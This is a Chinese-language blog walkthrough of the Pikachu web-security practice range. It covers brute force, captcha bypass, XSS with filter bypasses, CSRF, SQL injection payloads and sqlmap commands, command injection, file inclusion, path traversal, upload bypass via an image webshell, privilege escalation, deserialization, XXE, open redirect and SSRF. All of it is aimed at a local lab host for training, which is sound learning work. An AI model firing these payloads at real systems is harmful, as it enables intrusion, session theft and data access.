title: pikachu-靶场
tags: 靶场
abbrlink: 9434f5cf
date: 2022-08-17 17:08:10

系统介绍

Pikachu上的漏洞类型列表如下：
    Burt Force(暴力破解漏洞)
    XSS(跨站脚本漏洞)
    CSRF(跨站请求伪造)
    SQL-Inject(SQL注入漏洞)
    RCE(远程命令/代码执行)
    Files Inclusion(文件包含漏洞)
    Unsafe file downloads(不安全的文件下载)
    Unsafe file uploads(不安全的文件上传)
    Over Permisson(越权漏洞)
    ../../../(目录遍历)
    I can see your ABC(敏感信息泄露)
    PHP反序列化漏洞
    XXE(XML External Entity attack)
    不安全的URL重定向
    SSRF(Server-Side Request Forgery)
    More...(找找看?..有彩蛋!)
    管理工具里面提供了一个简易的xss管理后台,供你测试钓鱼和捞cookie~
    后续会持续更新一些新的漏洞进来,也欢迎你提交漏洞案例给我,最新版本请关注pikachu

少就是多,慢就是快

## 基于表单的暴力破解 * 随便填用户名和密码之后用burp抓包，用常用字典直接爆破即可。 * 将响应包按长度排序 ## 验证码绕过（on server） * 填入正确的用户名、密码和验证码进行重放攻击测试 * 经测试发现，该验证码虽在后端验证，但能重复使用。 * 于是可以用正确的验证码的包来进行用户名和密码的爆破。

验证码绕过（client）

第一种方法可以按照上面绕过服务器端验证的方法绕过
第二种方法：
由于是在客户端验证的，所以尝试将请求中的验证码参数部分去掉然后进行重放，发现依然可以登陆成功。
于是选择使用删掉验证码字段的请求包进行用户名和密码的爆破。

<script language="javascript" type="text/javascript">
    var code; //在全局 定义验证码
    function createCode() {
        code = "";
        var codeLength = 5;//验证码的长度
        var checkCode = document.getElementById("checkCode");
        var selectChar = new Array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9,'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');//所有候选组成验证码的字符，当然也可以用中文的

        for (var i = 0; i < codeLength; i++) {
            var charIndex = Math.floor(Math.random() * 36);
            code += selectChar[charIndex];
        }
        //alert(code);
        if (checkCode) {
            checkCode.className = "code";
            checkCode.value = code;
        }
    }

    function validate() {
        var inputCode = document.querySelector('#bf_client .vcode').value;
        if (inputCode.length <= 0) {
            alert("请输入验证码！");
            return false;
        } else if (inputCode != code) {
            alert("验证码输入错误！");
            createCode();//刷新验证码
            return false;
        }
        else {
            return true;
        }
    }


    createCode();
</script>

token防爆破?

操作很麻烦暂略

Cross-Site Scripting

反射型xss(get)

输入框有字符限制
按F12修改限制
输入<Script>alert(1)</Script>

反射性xss(post)

登陆后
bp抓包
修改message的内容

存储型xss

演示存储型xss
直接写入xss脚本
不删除的话会一直存在

DOM型xss

<div id="xssd_main">
                <script>
                    function domxss(){
                        var str = document.getElementById("text").value;
                        document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
                    }
                    //试试：'><img src="#" onmouseover="alert('xss')">
                    //试试：' onclick="alert('xss')">,闭合掉就行
                </script>

' onclick="alert('xss')">

DOM型xss-x

从url来获取

<div id="xssd_main">
                <script>
                    function domxss(){
                        var str = window.location.search;
                        var txss = decodeURIComponent(str.split("text=")[1]);
                        var xss = txss.replace(/\+/g,' ');
//                        alert(xss);

                        document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
                    }
                    //试试：'><img src="#" onmouseover="alert('xss')">
                    //试试：' onclick="alert('xss')">,闭合掉就行
                </script>

' onclick="alert('xss')">

xss盲打

<script>alert(document.cookie)</script>

提交后我们输入的内容不会在前对输出，而是提交到了后台，可能管理员会去看。如果我们输入一个JS代码，管理员登录后台管理界面，如果后台把我们的内容输出，那后台管理员可能遭受到我们的XSS攻击。

xss之过滤

前端限制绕过，直接抓包重放，或者修改html前端代码。比如反射型XSS(get)中限制输入20个字符。

大小写，比如<SCRIPT>aLeRT(111)</sCRIpt>。后台可能用正则表达式匹配，如果正则里面只匹配小写，那就可能被绕过。
双写（拼凑），<scri<script>pt>alert(111)</scri</script>pt>。后台可能把<script>标签去掉换，但可能只去掉一次。
注释干扰，<scri<!--test-->pt>alert(111)</sc<!--test-->ript>。加上注释后可能可以绕过后台过滤机制。

pikachu：<SCRIPT>alert(document.cookie)</sCRIpt>，发现后端只对小写的script进行过滤。

当然，由于它只过滤小写的script标签，那么换一种payload也是可以绕过的。

<img src=x onerror=alert(document.cookie)>

xss之htmlspecialchars

htmlspecialchars()是PHP里面把预定义的字符转换为HTML实体的函数。

预定义的字符是
& 成为 &amp
" 成为 &quot
' 成为 &#039
< 成为 &lt

可用引号类型

ENT_COMPAT：默认，仅编码双引号
ENT_QUOTES：编码双引号和单引号
ENT_NOQUOTES：不编码任何引号

playload:

q' onclick='alert(1)'

onmouseover='alert(document.cookie)'

xss之href输出

javascript:alert(document.cookie)

xss

</script><img src=x onerror=alert(document.cookie)>)

CSRF

CSRF(get)

随便登录一个账户然后选择修改个人信息并抓包。
然后即可根据包中数据构造钓鱼链接，发给受害者，在他保持登录状态的情况下，会将对应字段的信息改成攻击者设置好的内容。

CSRF(post)

同样地，先登录。
修改个人信息，然后抓包。

sex=girl&phonenum=12345678922&add=usa&email=lucy%40pikachu.com&submit=submit

CSRF Token

按照前面csrf get的方法，攻击者会伪造一个GET URL去让用户点击。但用户正常提供GET请求时，会把服务器返回的token填入和提交，而攻击者伪造URL时除非前期抓包获取到这个返回的token，否则他是不会知道这个token的。所以攻击者无法构造GET URL。同理，对于POST方法也是一样。
所以，使用token是一个很好的防御CSRF攻击的方法。

SQL-Inject

数字型注入

id=-2 UNION SELECT 1,database()  --&submit=%E6%9F%A5%E8%AF%A2

字符型注入

kobe' or 1=1 #

搜索型注入

xxxx' or 1=1#

xx型注入

查看后端代码，多除了括号，我们还是进行闭合。

') or 1=1 #，查看结果。

insert/update注入

注册用户名处或者修改个人信息处：
payload

weiss' or updatexml(1,concat(0x7e,database()),0) or '

delete注入

先任意提交
删除，抓包/pikachu-master/vul/sqli/sqli_del.php?id=59
59之后添加or updatexml(1,concat(0x7e,datebase()),0)
用加号连接：id=60+or+updatexml(1,concat(0x7e,datebase()),0)

http header注入

User-Agent:'or updatexml (1,concat(0x7e,datebase()),0) or '

Cookie:ant[uname]=admin'or updatexml (1,concat(0x7e,datebase()),0) or ';

盲注

boolian
手工注入：
name=lucy' and length(database())=7-- -
判断数据库的长度是7，查看burpsuite响应的render
实为pikachu，正好7位

sqlmap直接跑：
python sqlmap.py -u "http://x.x.x.x/pikachu/vul/sqli/sqli_blind_b.php?name=1&submit=查询" --dbs

time
payload：kobe' and if((substr(database(),1,1))='p',sleep(5),null)#
根据响应时间来判断是否正确。
sqlmap：
python sqlmap.py -u "http://x.x.x.x/pikachu/vul/sqli/sqli_blind_b.php?name=1&submit=查询" --dbs

宽字节注入

首先用name=1%df' union select 1,2#判断注入位置和有无回显
之后就按照正常注入流程即可，原理是利用GBK绕过前端对单引号添加的转义符。

RCE

exec "ping"

正常输入IP 127.0.0.1
测试 127.0.0.1 & ipconfig

exec "eval"

phpinfo();

File Inclusion

本地文件包含

http://192.168.169.204/pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
http://192.168.169.204/pikachu/vul/fileinclude/fi_local.php?filename=file2.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
http://192.168.169.204/pikachu/vul/fileinclude/fi_local.php?filename=file3.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
http://192.168.169.204/pikachu/vul/fileinclude/fi_local.php?filename=file4.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

http://192.168.169.204/pikachu/vul/fileinclude/fi_local.php?filename=../../../../../../../(目录)&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

远程文件包含

远程文件包含漏洞形式跟本地文件包含漏洞差不多，在远程包含漏洞中，攻击着可以通过访问外部地址来加载远程的代码。
远程包含漏洞前提：如果使用的lincldue和require，则需要php.ini配置如下（php5.4.34）：
allow_url_fopem=on /默认打开
Allow_url_include=on /默认关闭

http://192.168.169.204/pikachu/vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

192.168.169.204/pikachu/vul/fileinclude/fi_remote.php?filename= http://192.168.169.204/pikachu/test/yijuhua.txt  &submit=提交查询

Unsafe Filedownload

不安全的文件下载

http://192.168.169.204/pikachu/vul/unsafedownload/execdownload.php?filename=ai.png

http://192.168.169.204/pikachu/vul/unsafedownload/execdownload.php?filename=../../../../../../../(目录)

Unsafe Fileupload

客户端check

web编辑器修改onchange

<input class="uploadfile" type="file" name="uploadfile" onchange="checkFileExt(this.value)">

<input class="uploadfile" type="file" name="uploadfile" onchange=" ">

服务端check

mime: https://www.runoob.com/http/mime-types.html
bp抓包修改Content-Type:

Content-Type: image/jpeg

getimagesize()

图片码
制作

cmd中 copy 1.jpg/b+2.php 3.jpg

Over Permission

越权漏洞概述
由于没有用户权限进行严格的判断
导致低权限的账号（比如普通用户）可以去完成高权限账号（比如超级管理员）范围内的操作。
平行越权：A用户和B用户属于同一级别用户，但各自不能操作对方个人信息，A用户如果越权操作B用户的个人信息的情况称为平行越权操作
垂直越权：A用户权限高于B用户，B用户越权操作A用户的权限的情况称为垂直越权。
越权漏洞属于逻辑漏洞，是由于权限校验的逻辑不够严谨导致。
每个应用系统其用户对应的权限是根据其业务功能我划分的，而每个企业的业务又都是不一样的。
因此越权漏洞很难通过扫描工具发现出来，往往需要通过手动进行测试。

平行越权

http://192.168.169.204/pikachu/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF#

直接在链接替换人名

http://192.168.169.204/pikachu/vul/overpermission/op1/op1_mem.php?username=lili&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF#

垂直越权

登录管理员账号,创建账号
bp抓包
在登陆普通用户
bp抓包获取cookie
把普通用户的cookie替换管理员的cookie
重放就创建两条的用户信息

../../

http://192.168.169.204/pikachu/vul/dir/dir_list.php?title=jarheads.php

http://192.168.169.204/pikachu/vul/dir/dir_list.php?title=../../../../../../

敏感信息泄露

前端源代码可能有信息
cookie
网站目录信息

由于后台人员的疏忽或者不当的设计，导致不应该被前端用户看到的数据被轻易的访问到。比如：
---通过访问url下的目录，可以直接列出目录下的文件列表;
---输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;
---前端的源码（html,css,js）里面包含了敏感信息，比如后台登录地址、内网接口信息、甚至账号密码等;
类似以上这些情况，我们成为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞，但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。因此,在web应用的开发上，除了要进行安全的代码编写，也需要注意对敏感信息的合理处理。

PHP反序列化

概念

序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:

    class S{
        public $test="pikachu";
    }
    $s=new S(); //创建一个对象
    serialize($s); //把这个对象进行序列化
    序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
        O:代表object
        1:代表对象名字长度为一个字符
        S:对象的名称
        1:代表对象里面有一个变量
        s:数据类型
        4:变量名称的长度
        test:变量名称
        s:数据类型
        7:变量值的长度
        pikachu:变量值

反序列化unserialize()

就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

        常见的几个魔法函数:
        __construct()当一个对象创建时被调用

        __destruct()当一个对象销毁时被调用

        __toString()当一个对象被当作一个字符串使用

        __sleep() 在对象在被序列化之前运行

        __wakeup将在序列化之后立即被调用

        漏洞举例:

        class S{
            var $test = "pikachu";
            function __destruct(){
                echo $this->test;
            }
        }
        $s = $_GET['test'];
        @$unser = unserialize($a);

        payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

XXE

既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。

本章提供的案例中,为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析。

<?xml version = "1.0"?>
<!DOCTYPE note [
    <!ENTITY hacker "ESHLkangi">
]>
<name>&hacker;</name>

URL重定向

不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。
如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话
就可能发生"跳错对象"的问题。

url跳转比较直接的危害是:
-->钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站

http://192.168.169.204/pikachu/vul/urlredirect/urlredirect.php?url=i

http://192.168.169.204/pikachu/vul/urlredirect/urlredirect.php?url=www.baidu.com

SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造)

其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据

数据流:攻击者----->服务器---->目标地址

根据后台使用的函数的不同,对应的影响和利用方法又有不一样

PHP中下面函数的使用不当会导致SSRF:

file_get_contents()
fsockopen()
curl_exec()

如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,则请做好目标地址的过滤。

你可以根据"SSRF"里面的项目来搞懂问题的原因

SSRF(curl)

http://192.168.169.204/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php

http://192.168.169.204/pikachu/vul/ssrf/ssrf_curl.php?url=www.baidu.com

SSRF(file_get_content)

http://192.168.169.204/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info2.php

http://192.168.169.204/pikachu/vul/ssrf/ssrf_fgc.php?file=www.baidu.com